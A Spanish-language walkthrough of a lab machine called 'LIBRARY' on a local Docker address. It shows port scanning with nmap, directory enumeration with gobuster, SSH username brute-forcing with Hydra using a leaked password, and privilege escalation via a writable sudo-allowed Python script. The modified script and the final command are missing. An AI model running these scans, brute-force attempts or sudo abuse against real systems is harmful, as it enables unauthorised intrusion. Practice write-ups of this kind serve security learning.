LIBRARY

Primero hacemos un ping para comprobar la conectividad con la máquina:

```
❯ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.101 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.101/0.101/0.101/0.000 ms
```

Ahora buscamos los puertos abiertos:

```
❯ nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

```
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
```

Ahora miramos más información sobre estos puertos:

```
nmap -sCV -p22,80 172.17.0.2 -oN targeted
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f9:f6:fc:f7:f8:4d:d4:74:51:4c:88:23:54:a0:b3:af (ECDSA)
|_  256 fd:5b:01:b6:d2:18:ae:a3:6f:26:b2:3c:00:e5:12:c1 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Como en la web no encontramos nada, vamos a descubrir nuevos directorios con gobuster:

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.17.0.2 -x .php,.txt,.html
```

```
/index.html           (Status: 200) [Size: 10671]
/index.php            (Status: 200) [Size: 26]
/.html                (Status: 403) [Size: 275]
/javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
```

En el index.php encontramos lo siguiente:

JIFGHDS87GYDFIGD

Esto pudiera ser una contraseña de un posible usuario, por lo que vamos a aplicar fuerza bruta con usuarios para ver si descubrimos:

```
hydra -L /usr/share/wordlists/rockyou.txt -p JIFGHDS87GYDFIGD ssh://172.17.0.2
```

```
[22][ssh] host: 172.17.0.2   login: carlos   password: JIFGHDS87GYDFIGD
```

Y ya tenemos un usuario carlos, por lo que vamos a acceder por ssh:

```
carlos@5c0f59c39a86:~$ whoami
carlos
```

Y encontramos con sudo -l un script de python que podemos ejecutar:

```
carlos@5c0f59c39a86:~$ sudo -l
Matching Defaults entries for carlos on 5c0f59c39a86:
    env_reset, mail_badpass, secure_path=/usr/local/sb

User carlos may run the following commands on 5c0f59c3
    (ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```

Viendo los permisos, vemos que somos dueños de este script, por lo que vamos a cambiarle los permisos para poder escribir:

```
carlos@5c0f59c39a86:/opt$ ls -l
total 8
drwxr-xr-x 1 root   root    44 Sep 21 17:08 __pycache__
-r-xr--r-- 1 carlos root   272 May  7 15:19 script.py
-rwxrwxr-x 1 carlos carlos  25 Sep 21 17:07 shutil.py
carlos@5c0f59c39a86:/opt$ chmod 777 script.py
carlos@5c0f59c39a86:/opt$ ls -l
total 8
drwxr-xr-x 1 root   root    44 Sep 21 17:08 __pycache__
-rwxrwxrwx 1 carlos root   272 May  7 15:19 script.py
-rwxrwxr-x 1 carlos carlos  25 Sep 21 17:07 shutil.py
carlos@5c0f59c39a86:/opt$
```

Y ahora modificamos el script:

Y ejecutamos:

Y ya somos root.